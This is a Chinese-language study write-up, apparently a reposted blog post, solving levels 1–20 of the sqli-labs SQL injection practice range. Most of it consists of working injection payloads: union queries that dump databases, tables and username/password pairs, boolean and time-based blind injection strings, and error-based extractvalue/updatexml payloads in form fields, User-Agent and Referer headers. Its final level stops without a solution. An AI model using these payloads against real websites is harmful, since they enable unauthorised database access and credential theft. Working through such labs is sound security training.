sqlilabs靶场1—20题学习笔记(思路+解析+方法)

2024-04-17 01:28

本文主要是介绍sqlilabs靶场1—20题学习笔记(思路+解析+方法),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前几个题目较为简单,均尝试使用各种方法进行SQL注入

第一题

联合查询

1)思路:

有回显值

1.判断有无注入点

2.猜解列名数量

3.判断回显点

4.利用注入点进行信息收集

爆用户权限,爆库,爆版本号

爆表,爆列,爆账号密码

2)解题过程:

?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

判断为单引号注入,且有回显点

猜解列名数量为3

?id=1'order by 3--+

判断回显点:2,3

?id=-1'union select 1,2,3--+

联合注入进行信息收集

爆库、版本号、权限

?id=-1' union select 1,database(),version()--+

?id=-1' union select 1,2,user()--+

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆账号密码

?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users)--+

第二题

解题思路与第一题相同

?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

联合查询:

猜解列名数量:3

?id=1 order by 4

判断回显点

?id=-1 union select 1,2,3

爆库、版本号、权限

?id=-1 union select 1,database(),version()--+

?id=-1 union select 1,2,user()--+

爆表、爆列

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1 union select 1,2,(select group_concat(username,password))from users

第三题

?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

根据报错信息判断为单引号带括号注入

联合查询

猜解列名

?id=1') order by 3--+            

判断回显点

?id=-1') union select 1,2,3--+    

爆库、版本号、权限

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,user()--+

爆表、爆列

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1') union select 1,2,(select group_concat(username,password))from users

第四题

根据报错信息得到注入点是双引号带括号注入

联合查询:

猜解列名

?id=1") order by 3--+            

判断回显点

?id=-1") union select 1,2,3--+    

爆库、版本号、权限

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,2,user()--+

爆表、爆列

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1") union select 1,2,(select group_concat(username,password))from users

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

 

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+  正常

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+     正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+    正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

第七题

根据报错信息

?id=1' and '1'='1 返回页面正常 ------对应查询SQL:where id=(('1' and '1'='1'));

?id=1' and '1'='2 返回页面报错 ------对应查询SQL:where id=(('1' and '1'='2'));

判断为字符型注入

?id=1" 返回页面正常 ---------对应查询SQL:where id=(('1"'))

?id=1'--+ 返回页面报错 ---------对应查询SQL:where id=(('1'--+')) -----破坏SQL语句原有结构

?id=1')--+ 返回页面报错 --------对应查询SQL:where id=(('1')--+'))

?id=1'))--+ 返回页面正常 --------对应查询SQL:where id=(('1'))--+'))

注入形式为:?id=1'))

没有回显点,尝试盲注,与第五题方法相同

第八题

 

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面不正常,无回显信息

判断为字符型注入

?id=1'--+ 页面正常,无回显信息 SQL查询语句:where id='1'--+'

注入形式为?id=1''

没有回显点,尝试盲注,与第五题方法相同

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

 

第十一题

方法一

poss提交

输入1显示登录失败

输入1' 显示报错信息

根据提示得知:SQL查询语句为 username='参数' and password=''

and是与运算;两个或多个条件同时满足,才为真(显示一条数据)

or是或运算,两个或多个条件满足其中一个即为真(显示一条数据)

此处只能用1' or 1=1# 不能用and,因为不知道username,username='1'恒为假

并且只能用#,用--+无效

1' or 1=1# 页面正常显示

1' or 1=2# 页面报错

说明SQL语句正确

后续步骤使用联合注入

方法二

登录界面,Burpsuite抓包尝试

输入1',提示报错、单引号注入

使用报错注入的方法:extractvalue()

1'order by 2 判断列数

1'union select 1,extractvalue(1,concat(0x7e,database()))%23 爆版本号、数据库名、权限等

1'union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))%23 爆表名

1'union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))%23 爆列名

1'union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))%23

1'union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1)))%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

使用报错注入的方法:updatexml()

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

第十二题

输入1 和 1' 页面没反应 输入1" 页面出现报错信息,提示是双引号带括号注入

猜解步骤与第十一题相同

第十三题

输入1' 出现报错信息,提示是单引号带括号注入

猜解步骤与第十一题相同

第十四题

输入1",出现报错信息,提示是双引号注入

猜解步骤与第十一题相同

第十五题

输入信息页面没有回显值

判断为盲注,根据页面显示正确与否猜解数据库信息

当输入1'or 1=1#,找到注入点

布尔盲注:采用第五题解法

第十六题

与15题思路相同

第十七题

B站教学视频很详细

【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili

我将SQL语句在页面中显示,以便更深入学习。

寻找注入点

修改密码的一个页面。

输入正确的账号密码,可以看到,账号为admin,密码修改admin——admin

密码换成123

使用hackbar插件

对username进行注入,会发现输入的 ' 被转义了,寻找其他注入点

对password部分进行注入,发现注入点

报错注入

关于报错注入的知识点:第十一题

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

 

第十八题

1.分析题目

学习博文(包含http请求头的学习):sqli-labs关卡18(基于http头部报错盲注)通关思路_sqli-labs18-CSDN博客

非常详细

我仍将SQL语句在页面中显示,以便更深入学习。

输入正确的账号密码

页面回显ip信息

用户的ip信息与http请求头X-Forwarded-For有关,可以尝试在http请求头注入

查看源码

这里username和password被过滤,无法注入

User-Agent部分可以尝试注入

添加单引号,会发现报错,报错为缺少 ' ',' ') 判断原SQL语句为('$uagent','$ip','$uname');

2.尝试注入

分析过后,页面无回显点,尝试报错注入

正常语句:('$uagent','$ip','$uname')

报错语句:('$uagent'','$ip','$uname')(多了个 ' )

注入语句:'SQL注入',1,1)#

1)爆数据库

1'and updatexml(1,concat(0x7e,(database())),1),1,1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1,1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1,1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1,1)#

第十九题

1.分析题目

输入正确的账号密码,显示referer字段,也是http请求头中的,应该和第十八题思路一样

用Burpsuite抓包,尝试在referer处加 ' 报错

观察报错信息

判断正常语句应为('$uagent','$ip')

查看源码

报错语句:('$uagent'','$ip')

注入语句: 'SQL注入',1)#,'$ip')

2.尝试注入

1)爆数据库

1'and updatexml(1,concat(0x7e,database(),0x7e),1),1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1)#

第二十题

输入正确时,页面显示Cookie值

用Burpsuite抓包,进行报错注入:

 

这篇关于sqlilabs靶场1—20题学习笔记(思路+解析+方法)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/910439

相关文章

SpringBoot中使用Flux实现流式返回的方法小结

《SpringBoot中使用Flux实现流式返回的方法小结》文章介绍流式返回(StreamingResponse)在SpringBoot中通过Flux实现,优势包括提升用户体验、降低内存消耗、支持长连... 目录背景流式返回的核心概念与优势1. 提升用户体验2. 降低内存消耗3. 支持长连接与实时通信在Sp

Conda虚拟环境的复制和迁移的四种方法实现

《Conda虚拟环境的复制和迁移的四种方法实现》本文主要介绍了Conda虚拟环境的复制和迁移的四种方法实现,包括requirements.txt,environment.yml,conda-pack,... 目录在本机复制Conda虚拟环境相同操作系统之间复制环境方法一:requirements.txt方法

Nginx 重写与重定向配置方法

《Nginx重写与重定向配置方法》Nginx重写与重定向区别:重写修改路径(客户端无感知),重定向跳转新URL(客户端感知),try_files检查文件/目录存在性,return301直接返回永久重... 目录一.try_files指令二.return指令三.rewrite指令区分重写与重定向重写: 请求

MySQL 打开binlog日志的方法及注意事项

《MySQL打开binlog日志的方法及注意事项》本文给大家介绍MySQL打开binlog日志的方法及注意事项,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要... 目录一、默认状态二、如何检查 binlog 状态三、如何开启 binlog3.1 临时开启(重启后失效)

Spring Boot 实现 IP 限流的原理、实践与利弊解析

《SpringBoot实现IP限流的原理、实践与利弊解析》在SpringBoot中实现IP限流是一种简单而有效的方式来保障系统的稳定性和可用性,本文给大家介绍SpringBoot实现IP限... 目录一、引言二、IP 限流原理2.1 令牌桶算法2.2 漏桶算法三、使用场景3.1 防止恶意攻击3.2 控制资源

Java Spring ApplicationEvent 代码示例解析

《JavaSpringApplicationEvent代码示例解析》本文解析了Spring事件机制,涵盖核心概念(发布-订阅/观察者模式)、代码实现(事件定义、发布、监听)及高级应用(异步处理、... 目录一、Spring 事件机制核心概念1. 事件驱动架构模型2. 核心组件二、代码示例解析1. 事件定义

Python中提取文件名扩展名的多种方法实现

《Python中提取文件名扩展名的多种方法实现》在Python编程中,经常会遇到需要从文件名中提取扩展名的场景,Python提供了多种方法来实现这一功能,不同方法适用于不同的场景和需求,包括os.pa... 目录技术背景实现步骤方法一:使用os.path.splitext方法二:使用pathlib模块方法三

Python打印对象所有属性和值的方法小结

《Python打印对象所有属性和值的方法小结》在Python开发过程中,调试代码时经常需要查看对象的当前状态,也就是对象的所有属性和对应的值,然而,Python并没有像PHP的print_r那样直接提... 目录python中打印对象所有属性和值的方法实现步骤1. 使用vars()和pprint()2. 使

CSS place-items: center解析与用法详解

《CSSplace-items:center解析与用法详解》place-items:center;是一个强大的CSS简写属性,用于同时控制网格(Grid)和弹性盒(Flexbox)... place-items: center; 是一个强大的 css 简写属性,用于同时控制 网格(Grid) 和 弹性盒(F

CSS实现元素撑满剩余空间的五种方法

《CSS实现元素撑满剩余空间的五种方法》在日常开发中,我们经常需要让某个元素占据容器的剩余空间,本文将介绍5种不同的方法来实现这个需求,并分析各种方法的优缺点,感兴趣的朋友一起看看吧... css实现元素撑满剩余空间的5种方法 在日常开发中,我们经常需要让某个元素占据容器的剩余空间。这是一个常见的布局需求